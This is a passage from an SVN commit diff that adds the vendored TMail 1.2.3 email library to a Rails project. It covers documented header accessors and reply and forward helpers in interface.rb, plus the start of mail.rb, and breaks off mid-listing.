+      set_string_array_attr 'Cc', strs
+    end
+
+    # Destructively sets the "Bcc:" field to the passed array of strings (which should be valid 
+    # email addresses)
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.bcc = ["mikel at abc.com", "Mikel <mikel at xyz.com>"]
+    #  mail.bcc #=>  ["mikel at abc.org", "mikel at xyz.org"]
+    #  mail['bcc'].to_s #=> "mikel at abc.com, Mikel <mikel at xyz.com>"
+    def bcc=( *strs )
+      set_string_array_attr 'Bcc', strs
+    end
+
+    #== Originator methods
+
+    # Return a TMail::Addresses instance for each entry in the "From:" field of the mail object header.
+    # 
+    # If the "From:" field does not exist, will return nil by default or the value you
+    # pass as the optional parameter.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.from_addrs #=> nil
+    #  mail.from_addrs([]) #=> []
+    #  mail.from = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.from_addrs #=>  [#<TMail::Address mikel at me.org>, #<TMail::Address mikel at you.org>]
+    def from_addrs( default = nil )
+      if h = @header['from']
+        h.addrs
+      else
+        default
+      end
+    end
+
+    # Destructively set the to value of the "From:" header to equal the passed in string.
+    # 
+    # TMail will parse your contents and turn each valid email address into a TMail::Address 
+    # object before assigning it to the mail message.
+    #
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.from_addrs = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.from_addrs #=>  [#<TMail::Address mikel at me.org>, #<TMail::Address mikel at you.org>]
+    def from_addrs=( arg )
+      set_addrfield 'from', arg
+    end
+
+    # Returns who the email is from as an Array of email address strings instead to an Array of 
+    # TMail::Address objects which is what Mail#from_addrs returns
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.from = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.from #=>  ["mikel at me.org", "mikel at you.org"]
+    def from( default = nil )
+      addrs2specs(from_addrs(nil)) || default
+    end
+
+    # Destructively sets the "From:" field to the passed array of strings (which should be valid 
+    # email addresses)
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.from = ["mikel at abc.com", "Mikel <mikel at xyz.com>"]
+    #  mail.from #=>  ["mikel at abc.org", "mikel at xyz.org"]
+    #  mail['from'].to_s #=> "mikel at abc.com, Mikel <mikel at xyz.com>"
+    def from=( *strs )
+      set_string_array_attr 'From', strs
+    end
+
+    # Returns the "friendly" human readable part of the address
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.from = "Mikel Lindsaar <mikel at abc.com>"
+    #  mail.friendly_from #=> "Mikel Lindsaar"
+    def friendly_from( default = nil )
+      h = @header['from']
+      a, = h.addrs
+      return default unless a
+      return a.phrase if a.phrase
+      return h.comments.join(' ') unless h.comments.empty?
+      a.spec
+    end
+
+    # Return a TMail::Addresses instance for each entry in the "Reply-To:" field of the mail object header.
+    # 
+    # If the "Reply-To:" field does not exist, will return nil by default or the value you
+    # pass as the optional parameter.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.reply_to_addrs #=> nil
+    #  mail.reply_to_addrs([]) #=> []
+    #  mail.reply_to = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.reply_to_addrs #=>  [#<TMail::Address mikel at me.org>, #<TMail::Address mikel at you.org>]
+    def reply_to_addrs( default = nil )
+      if h = @header['reply-to']
+        h.addrs.blank? ? default : h.addrs
+      else
+        default
+      end
+    end
+
+    # Destructively set the to value of the "Reply-To:" header to equal the passed in argument.
+    # 
+    # TMail will parse your contents and turn each valid email address into a TMail::Address 
+    # object before assigning it to the mail message.
+    #
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.reply_to_addrs = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.reply_to_addrs #=>  [#<TMail::Address mikel at me.org>, #<TMail::Address mikel at you.org>]
+    def reply_to_addrs=( arg )
+      set_addrfield 'reply-to', arg
+    end
+
+    # Returns who the email is from as an Array of email address strings instead to an Array of 
+    # TMail::Address objects which is what Mail#reply_to_addrs returns
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.reply_to = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.reply_to #=>  ["mikel at me.org", "mikel at you.org"]
+    def reply_to( default = nil )
+      addrs2specs(reply_to_addrs(nil)) || default
+    end
+
+    # Destructively sets the "Reply-To:" field to the passed array of strings (which should be valid 
+    # email addresses)
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.reply_to = ["mikel at abc.com", "Mikel <mikel at xyz.com>"]
+    #  mail.reply_to #=>  ["mikel at abc.org", "mikel at xyz.org"]
+    #  mail['reply_to'].to_s #=> "mikel at abc.com, Mikel <mikel at xyz.com>"
+    def reply_to=( *strs )
+      set_string_array_attr 'Reply-To', strs
+    end
+
+    # Return a TMail::Addresses instance of the "Sender:" field of the mail object header.
+    # 
+    # If the "Sender:" field does not exist, will return nil by default or the value you
+    # pass as the optional parameter.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.sender #=> nil
+    #  mail.sender([]) #=> []
+    #  mail.sender = "Mikel <mikel at me.org>"
+    #  mail.reply_to_addrs #=>  [#<TMail::Address mikel at me.org>]
+    def sender_addr( default = nil )
+      f = @header['sender'] or return default
+      f.addr                or return default
+    end
+
+    # Destructively set the to value of the "Sender:" header to equal the passed in argument.
+    # 
+    # TMail will parse your contents and turn each valid email address into a TMail::Address 
+    # object before assigning it to the mail message.
+    #
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.sender_addrs = "Mikel <mikel at me.org>, another Mikel <mikel at you.org>"
+    #  mail.sender_addrs #=>  [#<TMail::Address mikel at me.org>, #<TMail::Address mikel at you.org>]
+    def sender_addr=( addr )
+      if addr
+        h = HeaderField.internal_new('sender', @config)
+        h.addr = addr
+        @header['sender'] = h
+      else
+        @header.delete 'sender'
+      end
+      addr
+    end
+
+    # Returns who the sender of this mail is as string instead to an Array of 
+    # TMail::Address objects which is what Mail#sender_addr returns
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.sender = "Mikel <mikel at me.org>"
+    #  mail.sender #=>  "mikel at me.org"
+    def sender( default = nil )
+      f = @header['sender'] or return default
+      a = f.addr            or return default
+      a.spec
+    end
+
+    # Destructively sets the "Sender:" field to the passed string (which should be a valid 
+    # email address)
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.sender = "mikel at abc.com"
+    #  mail.sender #=>  "mikel at abc.org"
+    #  mail['sender'].to_s #=> "mikel at abc.com"
+    def sender=( str )
+      set_string_attr 'Sender', str
+    end
+
+    #== Subject methods
+
+    # Returns the subject of the mail instance.
+    # 
+    # If the subject field does not exist, returns nil by default or you can pass in as
+    # the parameter for what you want the default value to be.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.subject #=> nil
+    #  mail.subject("") #=> ""
+    #  mail.subject = "Hello"
+    #  mail.subject #=> "Hello"
+    def subject( default = nil )
+      if h = @header['subject']
+        h.body
+      else
+        default
+      end
+    end
+    alias quoted_subject subject
+
+    # Destructively sets the passed string as the subject of the mail message.
+    # 
+    # Example
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.subject #=> "This subject"
+    #  mail.subject = "Another subject"
+    #  mail.subject #=> "Another subject"
+    def subject=( str )
+      set_string_attr 'Subject', str
+    end
+
+    #== Message Identity & Threading Methods
+    
+    # Returns the message ID for this mail object instance.
+    # 
+    # If the message_id field does not exist, returns nil by default or you can pass in as
+    # the parameter for what you want the default value to be.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.message_id #=> nil
+    #  mail.message_id(TMail.new_message_id) #=> "<47404c5326d9c_2ad4fbb80161 at baci.local.tmail>"
+    #  mail.message_id = TMail.new_message_id
+    #  mail.message_id #=> "<47404c5326d9c_2ad4fbb80161 at baci.local.tmail>"
+    def message_id( default = nil )
+      if h = @header['message-id']
+        h.id || default
+      else
+        default
+      end
+    end
+
+    # Destructively sets the message ID of the mail object instance to the passed in string
+    # 
+    # Invalid message IDs are ignored (silently, unless configured otherwise) and result in 
+    # a nil message ID.  Left and right angle brackets are required.
+    #
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.message_id = "<348F04F142D69C21-291E56D292BC at xxxx.net>"
+    #  mail.message_id #=> "<348F04F142D69C21-291E56D292BC at xxxx.net>"
+    #  mail.message_id = "this_is_my_badly_formatted_message_id"
+    #  mail.message_id #=> nil
+    def message_id=( str )
+      set_string_attr 'Message-Id', str
+    end
+
+    # Returns the "In-Reply-To:" field contents as an array of this mail instance if it exists
+    # 
+    # If the in_reply_to field does not exist, returns nil by default or you can pass in as
+    # the parameter for what you want the default value to be.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.in_reply_to #=> nil
+    #  mail.in_reply_to([]) #=> []
+    #  TMail::Mail.load("../test/fixtures/raw_email_reply")
+    #  mail.in_reply_to #=> ["<348F04F142D69C21-291E56D292BC at xxxx.net>"]
+    def in_reply_to( default = nil )
+      if h = @header['in-reply-to']
+        h.ids
+      else
+        default
+      end
+    end
+
+    # Destructively sets the value of the "In-Reply-To:" field of an email.
+    # 
+    # Accepts an array of a single string of a message id
+    #
+    # Example: 
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.in_reply_to = ["<348F04F142D69C21-291E56D292BC at xxxx.net>"]
+    #  mail.in_reply_to #=> ["<348F04F142D69C21-291E56D292BC at xxxx.net>"]
+    def in_reply_to=( *idstrs )
+      set_string_array_attr 'In-Reply-To', idstrs
+    end
+
+    # Returns the references of this email (prior messages relating to this message)
+    # as an array of message ID strings.  Useful when you are trying to thread an
+    # email.
+    # 
+    # If the references field does not exist, returns nil by default or you can pass in as
+    # the parameter for what you want the default value to be.
+    # 
+    # Example:
+    #
+    #  mail = TMail::Mail.new
+    #  mail.references #=> nil
+    #  mail.references([]) #=> []
+    #  mail = TMail::Mail.load("../test/fixtures/raw_email_reply")
+    #  mail.references #=> ["<473FF3B8.9020707 at xxx.org>", "<348F04F142D69C21-291E56D292BC at xxxx.net>"]
+    def references( default = nil )
+      if h = @header['references']
+        h.refs
+      else
+        default
+      end
+    end
+
+    # Destructively sets the value of the "References:" field of an email.
+    # 
+    # Accepts an array of strings of message IDs
+    #
+    # Example: 
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.references = ["<348F04F142D69C21-291E56D292BC at xxxx.net>"]
+    #  mail.references #=> ["<348F04F142D69C21-291E56D292BC at xxxx.net>"]
+    def references=( *strs )
+      set_string_array_attr 'References', strs
+    end
+
+    #== MIME header methods
+
+    # Returns the listed MIME version of this email from the "Mime-Version:" header field
+    # 
+    # If the mime_version field does not exist, returns nil by default or you can pass in as
+    # the parameter for what you want the default value to be.
+    # 
+    # Example:
+    #
+    #  mail = TMail::Mail.new
+    #  mail.mime_version #=> nil
+    #  mail.mime_version([]) #=> []
+    #  mail = TMail::Mail.load("../test/fixtures/raw_email")
+    #  mail.mime_version #=> "1.0"
+    def mime_version( default = nil )
+      if h = @header['mime-version']
+        h.version || default
+      else
+        default
+      end
+    end
+
+    def mime_version=( m, opt = nil )
+      if opt
+        if h = @header['mime-version']
+          h.major = m
+          h.minor = opt
+        else
+          store 'Mime-Version', "#{m}.#{opt}"
+        end
+      else
+        store 'Mime-Version', m
+      end
+      m
+    end
+
+    # Returns the current "Content-Type" of the mail instance.
+    #
+    # If the content_type field does not exist, returns nil by default or you can pass in as
+    # the parameter for what you want the default value to be.
+    # 
+    # Example:
+    #
+    #  mail = TMail::Mail.new
+    #  mail.content_type #=> nil
+    #  mail.content_type([]) #=> []
+    #  mail = TMail::Mail.load("../test/fixtures/raw_email")
+    #  mail.content_type #=> "text/plain"
+    def content_type( default = nil )
+      if h = @header['content-type']
+        h.content_type || default
+      else
+        default
+      end
+    end
+
+    # Returns the current main type of the "Content-Type" of the mail instance.
+    #
+    # If the content_type field does not exist, returns nil by default or you can pass in as
+    # the parameter for what you want the default value to be.
+    # 
+    # Example:
+    #
+    #  mail = TMail::Mail.new
+    #  mail.main_type #=> nil
+    #  mail.main_type([]) #=> []
+    #  mail = TMail::Mail.load("../test/fixtures/raw_email")
+    #  mail.main_type #=> "text"
+    def main_type( default = nil )
+      if h = @header['content-type']
+        h.main_type || default
+      else
+        default
+      end
+    end
+
+    # Returns the current sub type of the "Content-Type" of the mail instance.
+    #
+    # If the content_type field does not exist, returns nil by default or you can pass in as
+    # the parameter for what you want the default value to be.
+    # 
+    # Example:
+    #
+    #  mail = TMail::Mail.new
+    #  mail.sub_type #=> nil
+    #  mail.sub_type([]) #=> []
+    #  mail = TMail::Mail.load("../test/fixtures/raw_email")
+    #  mail.sub_type #=> "plain"
+    def sub_type( default = nil )
+      if h = @header['content-type']
+        h.sub_type || default
+      else
+        default
+      end
+    end
+
+    # Destructively sets the "Content-Type:" header field of this mail object
+    # 
+    # Allows you to set the main type, sub type as well as parameters to the field.
+    # The main type and sub type need to be a string.
+    # 
+    # The optional params hash can be passed with keys as symbols and values as a string,
+    # or strings as keys and values.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.set_content_type("text", "plain")
+    #  mail.to_s #=> "Content-Type: text/plain\n\n"
+    # 
+    #  mail.set_content_type("text", "plain", {:charset => "EUC-KR", :format => "flowed"})
+    #  mail.to_s #=> "Content-Type: text/plain; charset=EUC-KR; format=flowed\n\n"
+    #
+    #  mail.set_content_type("text", "plain", {"charset" => "EUC-KR", "format" => "flowed"})
+    #  mail.to_s #=> "Content-Type: text/plain; charset=EUC-KR; format=flowed\n\n"
+    def set_content_type( str, sub = nil, param = nil )
+      if sub
+        main, sub = str, sub
+      else
+        main, sub = str.split(%r</>, 2)
+        raise ArgumentError, "sub type missing: #{str.inspect}" unless sub
+      end
+      if h = @header['content-type']
+        h.main_type = main
+        h.sub_type  = sub
+        h.params.clear
+      else
+        store 'Content-Type', "#{main}/#{sub}"
+      end
+      @header['content-type'].params.replace param if param
+      str
+    end
+
+    alias content_type= set_content_type
+    
+    # Returns the named type parameter as a string, from the "Content-Type:" header.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.type_param("charset") #=> nil
+    #  mail.type_param("charset", []) #=> []
+    #  mail.set_content_type("text", "plain", {:charset => "EUC-KR", :format => "flowed"})
+    #  mail.type_param("charset") #=> "EUC-KR"
+    #  mail.type_param("format") #=> "flowed"
+    def type_param( name, default = nil )
+      if h = @header['content-type']
+        h[name] || default
+      else
+        default
+      end
+    end
+
+    # Returns the character set of the email.  Returns nil if no encoding set or returns
+    # whatever default you pass as a parameter - note passing the parameter does NOT change
+    # the mail object in any way.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.load("path_to/utf8_email")
+    #  mail.charset #=> "UTF-8"
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.charset #=> nil
+    #  mail.charset("US-ASCII") #=> "US-ASCII"
+    def charset( default = nil )
+      if h = @header['content-type']
+        h['charset'] or default
+      else
+        default
+      end
+    end
+
+    # Destructively sets the character set used by this mail object to the passed string, you
+    # should note though that this does nothing to the mail body, just changes the header
+    # value, you will need to transliterate the body as well to match whatever you put 
+    # in this header value if you are changing character sets.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.charset #=> nil
+    #  mail.charset = "UTF-8"
+    #  mail.charset #=> "UTF-8"
+    def charset=( str )
+      if str
+        if h = @header[ 'content-type' ]
+          h['charset'] = str
+        else
+          store 'Content-Type', "text/plain; charset=#{str}"
+        end
+      end
+      str
+    end
+
+    # Returns the transfer encoding of the email.  Returns nil if no encoding set or returns
+    # whatever default you pass as a parameter - note passing the parameter does NOT change
+    # the mail object in any way.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.load("path_to/base64_encoded_email")
+    #  mail.transfer_encoding #=> "base64"
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.transfer_encoding #=> nil
+    #  mail.transfer_encoding("base64") #=> "base64"
+    def transfer_encoding( default = nil )
+      if h = @header['content-transfer-encoding']
+        h.encoding || default
+      else
+        default
+      end
+    end
+
+    # Destructively sets the transfer encoding of the mail object to the passed string, you
+    # should note though that this does nothing to the mail body, just changes the header
+    # value, you will need to encode or decode the body as well to match whatever you put 
+    # in this header value.
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.new
+    #  mail.transfer_encoding #=> nil
+    #  mail.transfer_encoding = "base64"
+    #  mail.transfer_encoding #=> "base64"
+    def transfer_encoding=( str )
+      set_string_attr 'Content-Transfer-Encoding', str
+    end
+
+    alias encoding                   transfer_encoding
+    alias encoding=                  transfer_encoding=
+    alias content_transfer_encoding  transfer_encoding
+    alias content_transfer_encoding= transfer_encoding=
+
+    # Returns the content-disposition of the mail object, returns nil or the passed 
+    # default value if given
+    # 
+    # Example:
+    # 
+    #  mail = TMail::Mail.load("path_to/raw_mail_with_attachment") 
+    #  mail.disposition #=> "attachment"
+    #
+    #  mail = TMail::Mail.load("path_to/plain_simple_email")
+    #  mail.disposition #=> nil
+    #  mail.disposition(false) #=> false
+    def disposition( default = nil )
+      if h = @header['content-disposition']
+        h.disposition || default
+      else
+        default
+      end
+    end
+
+    alias content_disposition     disposition
+
+    # Allows you to set the content-disposition of the mail object.  Accepts a type
+    # and a hash of parameters.
+    # 
+    # Example:
+    # 
+    #  mail.set_disposition("attachment", {:filename => "test.rb"})
+    #  mail.disposition #=> "attachment"
+    #  mail['content-disposition'].to_s #=> "attachment; filename=test.rb"
+    def set_disposition( str, params = nil )
+      if h = @header['content-disposition']
+        h.disposition = str
+        h.params.clear
+      else
+        store('Content-Disposition', str)
+        h = @header['content-disposition']
+      end
+      h.params.replace params if params
+    end
+
+    alias disposition=            set_disposition
+    alias set_content_disposition set_disposition
+    alias content_disposition=    set_disposition
+
+    # Returns the value of a parameter in an existing content-disposition header
+    # 
+    # Example:
+    # 
+    #  mail.set_disposition("attachment", {:filename => "test.rb"})
+    #  mail['content-disposition'].to_s #=> "attachment; filename=test.rb"
+    #  mail.disposition_param("filename") #=> "test.rb"
+    #  mail.disposition_param("missing_param_key") #=> nil
+    #  mail.disposition_param("missing_param_key", false) #=> false
+    #  mail.disposition_param("missing_param_key", "Nothing to see here") #=> "Nothing to see here"
+    def disposition_param( name, default = nil )
+      if h = @header['content-disposition']
+        h[name] || default
+      else
+        default
+      end
+    end
+
+    # Convert the Mail object's body into a Base64 encoded email
+    # returning the modified Mail object
+    def base64_encode!
+      store 'Content-Transfer-Encoding', 'Base64'
+      self.body = base64_encode
+    end
+
+    # Return the result of encoding the TMail::Mail object body
+    # without altering the current body
+    def base64_encode
+      Base64.folding_encode(self.body)
+    end
+
+    # Convert the Mail object's body into a Base64 decoded email
+    # returning the modified Mail object
+    def base64_decode!
+      if /base64/i === self.transfer_encoding('')
+        store 'Content-Transfer-Encoding', '8bit'
+        self.body = base64_decode
+      end
+    end
+
+    # Returns the result of decoding the TMail::Mail object body
+    # without altering the current body
+    def base64_decode
+      Base64.decode(self.body, @config.strict_base64decode?)
+    end
+
+    # Returns an array of each destination in the email message including to: cc: or bcc:
+    # 
+    # Example:
+    # 
+    #  mail.to = "Mikel <mikel at lindsaar.net>"
+    #  mail.cc = "Trans <t at t.com>"
+    #  mail.bcc = "bob <bob at me.com>"
+    #  mail.destinations #=> ["mikel at lindsaar.net", "t at t.com", "bob at me.com"]
+    def destinations( default = nil )
+      ret = []
+      %w( to cc bcc ).each do |nm|
+        if h = @header[nm]
+          h.addrs.each {|i| ret.push i.address }
+        end
+      end
+      ret.empty? ? default : ret
+    end
+
+    # Yields a block of destination, yielding each as a string.
+    #  (from the destinations example)
+    #  mail.each_destination { |d| puts "#{d.class}: #{d}" }
+    #  String: mikel at lindsaar.net
+    #  String: t at t.com
+    #  String: bob at me.com
+    def each_destination( &block )
+      destinations([]).each do |i|
+        if Address === i
+          yield i
+        else
+          i.each(&block)
+        end
+      end
+    end
+
+    alias each_dest each_destination
+
+    # Returns an array of reply to addresses that the Mail object has, 
+    # or if the Mail message has no reply-to, returns an array of the
+    # Mail objects from addresses.  Else returns the default which can
+    # either be passed as a parameter or defaults to nil
+    # 
+    # Example:
+    #  mail.from = "Mikel <mikel at lindsaar.net>"
+    #  mail.reply_to = nil
+    #  mail.reply_addresses #=> [""]  
+    # 
+    def reply_addresses( default = nil )
+      reply_to_addrs(nil) or from_addrs(nil) or default
+    end
+
+    # Returns the "sender" field as an array -> useful to find out who to 
+    # send an error email to.
+    def error_reply_addresses( default = nil )
+      if s = sender(nil)
+        [s]
+      else
+        from_addrs(default)
+      end
+    end
+
+    # Returns true if the Mail object is a multipart message
+    def multipart?
+      main_type('').downcase == 'multipart'
+    end
+
+    # Creates a new email in reply to self.  Sets the In-Reply-To and
+    # References headers for you automagically.
+    #
+    # Example:
+    #  mail = TMail::Mail.load("my_email")
+    #  reply_email = mail.create_reply
+    #  reply_email.class         #=> TMail::Mail
+    #  reply_email.references  #=> ["<d3b8cf8e49f04480850c28713a1f473e at lindsaar.net>"]
+    #  reply_email.in_reply_to #=> ["<d3b8cf8e49f04480850c28713a1f473e at lindsaar.net>"]
+    def create_reply
+      setup_reply create_empty_mail()
+    end
+
+    # Creates a new email in reply to self.  Sets the In-Reply-To and
+    # References headers for you automagically.
+    #
+    # Example:
+    #  mail = TMail::Mail.load("my_email")
+    #  forward_email = mail.create_forward
+    #  forward_email.class         #=> TMail::Mail
+    #  forward_email.content_type  #=> "multipart/mixed"
+    #  forward_email.body          #=> "Attachment: (unnamed)"
+    #  forward_email.encoded       #=> Returns the original email as a MIME attachment
+    def create_forward
+      setup_forward create_empty_mail()
+    end
+
+    #:stopdoc:
+    private
+
+    def create_empty_mail
+      self.class.new(StringPort.new(''), @config)
+    end
+
+    def setup_reply( mail )
+      if tmp = reply_addresses(nil)
+        mail.to_addrs = tmp
+      end
+
+      mid = message_id(nil)
+      tmp = references(nil) || []
+      tmp.push mid if mid
+      mail.in_reply_to = [mid] if mid
+      mail.references = tmp unless tmp.empty?
+      mail.subject = 'Re: ' + subject('').sub(/\A(?:\[[^\]]+\])?(?:\s*Re:)*\s*/i, '')
+      mail.mime_version = '1.0'
+      mail
+    end
+
+    def setup_forward( mail )
+      m = Mail.new(StringPort.new(''))
+      m.body = decoded
+      m.set_content_type 'message', 'rfc822'
+      m.encoding = encoding('7bit')
+      mail.parts.push m
+      # call encoded to reparse the message
+      mail.encoded
+      mail
+    end
+
+  #:startdoc:
+  end   # class Mail
+
+end   # module TMail

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/loader.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/loader.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/loader.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#:stopdoc:
+require 'tmail/mailbox'
+#:startdoc:
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/mail.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/mail.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/mail.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,578 @@
+=begin rdoc
+
+= Mail class
+
+=end
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+
+ 
+
+require 'tmail/interface'
+require 'tmail/encode'
+require 'tmail/header'
+require 'tmail/port'
+require 'tmail/config'
+require 'tmail/utils'
+require 'tmail/attachments'
+require 'tmail/quoting'
+require 'socket'
+
+module TMail
+
+  # == Mail Class
+  # 
+  # Accessing a TMail object done via the TMail::Mail class.  As email can be fairly complex
+  # creatures, you will find a large amount of accessor and setter methods in this class!
+  # 
+  # Most of the below methods handle the header, in fact, what TMail does best is handle the
+  # header of the email object.  There are only a few methods that deal directly with the body
+  # of the email, such as base64_encode and base64_decode.
+  # 
+  # === Using TMail inside your code
+  # 
+  # The usual way is to install the gem (see the {README}[link:/README] on how to do this) and
+  # then put at the top of your class:
+  # 
+  #  require 'tmail'
+  # 
+  # You can then create a new TMail object in your code with:
+  # 
+  #  @email = TMail::Mail.new
+  # 
+  # Or if you have an email as a string, you can initialize a new TMail::Mail object and get it
+  # to parse that string for you like so:
+  # 
+  #  @email = TMail::Mail.parse(email_text)
+  # 
+  # You can also read a single email off the disk, for example:
+  # 
+  #  @email = TMail::Mail.load('filename.txt')
+  # 
+  # Also, you can read a mailbox (usual unix mbox format) and end up with an array of TMail
+  # objects by doing something like this:
+  # 
+  #  # Note, we pass true as the last variable to open the mailbox read only
+  #  mailbox = TMail::UNIXMbox.new("mailbox", nil, true)
+  #  @emails = []
+  #  mailbox.each_port { |m| @emails << TMail::Mail.new(m) }
+  #
+  class Mail
+
+    class << self
+      
+      # Opens an email that has been saved out as a file by itself.
+      # 
+      # This function will read a file non-destructively and then parse
+      # the contents and return a TMail::Mail object.
+      # 
+      # Does not handle multiple email mailboxes (like a unix mbox) for that
+      # use the TMail::UNIXMbox class.
+      # 
+      # Example:
+      #  mail = TMail::Mail.load('filename')
+      # 
+      def load( fname )
+        new(FilePort.new(fname))
+      end
+
+      alias load_from load
+      alias loadfrom load
+      
+      # Parses an email from the supplied string and returns a TMail::Mail
+      # object.
+      # 
+      # Example:
+      #  require 'rubygems'; require 'tmail'
+      #  email_string =<<HEREDOC
+      #  To: mikel at lindsaar.net
+      #  From: mikel at me.com
+      #  Subject: This is a short Email
+      #  
+      #  Hello there Mikel!
+      #  
+      #  HEREDOC
+      #  mail = TMail::Mail.parse(email_string)
+      #  #=> #<TMail::Mail port=#<TMail::StringPort:id=0xa30ac0> bodyport=nil>
+      #  mail.body
+      #  #=> "Hello there Mikel!\n\n"
+      def parse( str )
+        new(StringPort.new(str))
+      end
+
+    end
+
+    def initialize( port = nil, conf = DEFAULT_CONFIG ) #:nodoc:
+      @port = port || StringPort.new
+      @config = Config.to_config(conf)
+
+      @header      = {}
+      @body_port   = nil
+      @body_parsed = false
+      @epilogue    = ''
+      @parts       = []
+
+      @port.ropen {|f|
+          parse_header f
+          parse_body f unless @port.reproducible?
+      }
+    end
+
+    # Provides access to the port this email is using to hold it's data
+    # 
+    # Example:
+    #  mail = TMail::Mail.parse(email_string)
+    #  mail.port
+    #  #=> #<TMail::StringPort:id=0xa2c952>
+    attr_reader :port
+
+    def inspect
+      "\#<#{self.class} port=#{@port.inspect} bodyport=#{@body_port.inspect}>"
+    end
+
+    #
+    # to_s interfaces
+    #
+
+    public
+
+    include StrategyInterface
+
+    def write_back( eol = "\n", charset = 'e' )
+      parse_body
+      @port.wopen {|stream| encoded eol, charset, stream }
+    end
+
+    def accept( strategy )
+      with_multipart_encoding(strategy) {
+          ordered_each do |name, field|
+            next if field.empty?
+            strategy.header_name canonical(name)
+            field.accept strategy
+            strategy.puts
+          end
+          strategy.puts
+          body_port().ropen {|r|
+              strategy.write r.read
+          }
+      }
+    end
+
+    private
+
+    def canonical( name )
+      name.split(/-/).map {|s| s.capitalize }.join('-')
+    end
+
+    def with_multipart_encoding( strategy )
+      if parts().empty?    # DO NOT USE @parts
+        yield
+
+      else
+        bound = ::TMail.new_boundary
+        if @header.key? 'content-type'
+          @header['content-type'].params['boundary'] = bound
+        else
+          store 'Content-Type', %<multipart/mixed; boundary="#{bound}">
+        end
+
+        yield
+
+        parts().each do |tm|
+          strategy.puts
+          strategy.puts '--' + bound
+          tm.accept strategy
+        end
+        strategy.puts
+        strategy.puts '--' + bound + '--'
+        strategy.write epilogue()
+      end
+    end
+
+    ###
+    ### header
+    ###
+
+    public
+
+    ALLOW_MULTIPLE = {
+      'received'          => true,
+      'resent-date'       => true,
+      'resent-from'       => true,
+      'resent-sender'     => true,
+      'resent-to'         => true,
+      'resent-cc'         => true,
